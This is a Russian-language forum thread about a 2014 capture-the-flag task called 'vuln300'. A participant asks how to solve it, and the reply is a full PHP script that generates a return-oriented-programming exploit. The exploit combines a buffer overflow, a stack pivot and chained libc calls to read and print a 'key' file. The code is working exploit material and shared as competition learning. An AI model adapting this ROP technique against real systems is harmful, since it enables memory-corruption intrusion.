vuln300

61 views
Skip to first unread message

Vitaly Pavlenko

unread,
Mar 13, 2014, 5:53:42 AM3/13/14
to ru...@googlegroups.com
Подскажите, как можно было взять этот таск?

Я, вроде, понял, как можно делать вызов libc-функций и передавать им кастомный второй параметр. Собственную таблицу виртуальных методов можно ввести через имя пользователя. Но первый параметр для вызовов в libc будет обязательно содержанием этой самой таблицы, так что никакого разумного либкола я придумать не смог.

Victor Alushin

unread,
Mar 16, 2014, 8:40:07 AM3/16/14
to ru...@googlegroups.com
Скрпит для генерации эксплоита:

<?php


/*
.text:08048551                 add     esp, 10h
.text:08048554                 pop     ebx
.text:08048555                 pop     esi
.text:08048556                 pop     ebp
.text:08048557                 retn

.init:0804813A                 pop     eax
.init:0804813B                 pop     ebx
.init:0804813C                 leave
.init:0804813D                 retn

.text:08048C05 83 C4 2C                          add     esp, 2Ch
.text:08048C08 5B                                pop     ebx
.text:08048C09 5E                                pop     esi
.text:08048C0A 5F                                pop     edi
.text:08048C0B 5D                                pop     ebp
.text:08048C0C C3                                retn


*/

$text_fopen = 0x0807A810;
$rodata_rc = 0x080B8B56;
$text_read = 0x08060C50;
$text_write = 0x08060CB0;
$text_exit = 0x08057010;

$esp = 0xbffffbc0+0x20; // gdb
// 08048368    mov     edx, [eax]
$esp = 0xbffffc00;
$address = 0xbffff001;

$rop1 = "AAA"; // \nAAA -> ebp

$rop1.= pack("V", $text_fopen);
$rop1.= pack("V", 0x08048C08);  // ret [pop ebx; pop esi; pop edi; pop ebp; retn]
$rop1.= pack("V", $address+20); // key
$rop1.= pack("V", $address+24); // mode
$rop1.= "key\x00";
$rop1.= "rb\x00\x00";

$rop1.= pack("V", $text_read);
$rop1.= pack("V", 0x08048554);  // ret [pop ebx; pop esi; pop ebp; retn]
$rop1.= pack("V", 0x3); // 0x7 under gdb
$rop1.= pack("V", $address+400);
$rop1.= pack("V", 33);

$rop1.= pack("V", $text_write);
$rop1.= pack("V", 0x08048554);  // ret [pop ebx; pop esi; pop ebp; retn]
$rop1.= pack("V", 0x1);
$rop1.= pack("V", $address+400);
$rop1.= pack("V", 33);

$rop1.= pack("V", $text_exit);
$rop1.= pack("V", 0x0);

$fill = "AAAA";
 
$rop2 = pack("V", 0x08048551); // ret [add esp, 10h; pop ebx; pop esi; pop ebp; retn]
$rop2.= pack("V", 0x08057290); // scanf
$rop2.= pack("V", 0x08048554); // ret [pop ebx; pop esi; pop ebp; retn]
$rop2.= "{fr}";
$rop2.= pack("V", $address);

$rop2.= pack("V", $address); // ebp -> esp
$rop2.= pack("V", 0x0804813C); // ret [leave; retn]
$rop2.= $fill;

$rop2 = str_replace("{fr}", pack("V", $esp+0x14+strlen($rop2)), $rop2);
$str = "%".strlen($rop1)."c";

$s = "{$rop2}{$str}\n";
$s.= "2\n";
$s.= "title\n";
$s.= str_repeat("a", 256).pack("V", $esp+0x14)."\n";
$s.= $rop1;

file_put_contents("evil.bin", $s);

?>

Reply all
Reply to author
Forward
0 new messages